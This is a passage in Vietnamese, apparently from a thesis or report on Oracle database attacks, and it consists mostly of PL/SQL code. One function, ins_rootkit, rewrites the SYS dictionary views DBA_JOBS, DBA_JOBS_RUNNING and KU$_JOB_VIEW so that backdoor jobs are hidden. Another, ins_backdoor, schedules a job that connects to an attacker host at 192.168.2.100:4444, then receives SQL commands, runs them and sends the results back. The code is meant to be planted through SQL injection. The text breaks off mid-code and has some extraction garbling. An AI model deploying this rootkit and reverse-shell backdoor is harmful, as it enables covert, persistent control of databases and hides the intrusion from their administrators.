tạo function để chỉnh sửa data dictionary view Dba_jobs, dba_jobs_running, Ku$_job_view để che giấu backdoor job Function inject vào lỗ hổng SQL injection Code ẩn connection backdoor backdoor console: CREATE OR REPLACE FUNCTION ins_rootkit RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN Code ẩn connection backdoor backdoor console sys.dba_jobs: EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB", "LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL", "FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS Trang 51 select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER, LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC, THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC, (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME, decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN, INTERVAL# interval, FAILURES, WHAT, nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; Code ẩn connection backdoor backdoor console sys.dba_jobs_running: EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING" ("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "INSTANCE") AS select v.SID, v.id2 JOB, j.FAILURES, LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC, THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, j.field1 INSTANCE from sys.job$ j, v$lock v where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; Code ẩn connection backdoor backdoor console sys.ku$_job_t: EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF Trang 52 "SYS"."KU$_JOB_T" WITH OBJECT IDENTIFIER (powner_id) AS select ''1'',''0'', u.user#, j.powner, j.lowner, j.cowner, j.job, TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''), j.flag, j.failures, REPLACE(j.interval#, '''''''', ''''''''''''), REPLACE(j.what, '''''''', ''''''''''''), REPLACE(j.nlsenv, '''''''', ''''''''''''), j.env, j.field1, j.charenv from sys.job$ j, sys.user$ u where j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; COMMIT; RETURN ''; END; Tạo OracleBackdoor.sql Mã tạo function thực job đọc command từ host attacker, thực thi chúng gửi command output trở cho attacker Tạo function ins_backdoor thực thi với quyền user gọi nó, function có đặc tính autonomous transaction để sau sử dụng SQL injection CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; job_id NUMBER; BEGIN Đưa job sử dụng chức job package dbms_job Để kết nối tcp/ip với backdoor console sử dụng package chuẩn utl_tcp Oracle: Trang 53 DBMS_JOB.SUBMIT(job_id, 'DECLARE l_cn UTL_TCP.CONNECTION; l_ret_val PLS_INTEGER; l_sqlstm VARCHAR2(32000); l_thecursor INTEGER; l_columnvalue VARCHAR2(2000); l_status INTEGER; l_colcnt NUMBER DEFAULT 0; l_desc_t DBMS_SQL.DESC_TAB; BEGIN Mở kết nối tới host attacker nơi đặt backdoor console Trong scritp 192.168.2.100, TCP port 4444 l_cn := UTL_TCP.OPEN_CONNECTION(''192.168.2.100, 4444, 1521); Lấy thông tin database gửi qua kết nối TCP dạng XML: SELECT DBID, NAME INTO l_colcnt, l_sqlstm FROM V$DATABASE; SELECT banner INTO l_columnvalue FROM V$VERSION WHERE ROWNUM = 1; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); LOOP l_sqlstm := UTL_TCP.GET_LINE(l_cn, TRUE); EXIT WHEN UPPER(l_sqlstm) = ''EXIT''; BEGIN l_thecursor := DBMS_SQL.OPEN_CURSOR; Nếu câu lệnh SQL nhận Select, lấy tất tên cột gửi chúng để backdoor console hiển thị column header tập trung IF(SUBSTR(LTRIM(UPPER(l_sqlstm)), 1, 7)) = ''SELECT '' THEN DBMS_SQL.PARSE(l_thecursor, l_sqlstm, DBMS_SQL.NATIVE); DBMS_SQL.DESCRIBE_COLUMNS(l_thecursor, l_colcnt, l_desc_t); FOR i IN l_colcnt LOOP l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''' || l_desc_t(i).col_name); DBMS_SQL.DEFINE_COLUMN(l_thecursor, i, l_columnvalue, 2000); Trang 54 END LOOP; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); DBMS_SQL.DEFINE_COLUMN(l_thecursor, 1, l_columnvalue, 2000); l_status := DBMS_SQL.EXECUTE(l_thecursor); LOOP EXIT WHEN(DBMS_SQL.FETCH_ROWS(l_thecursor)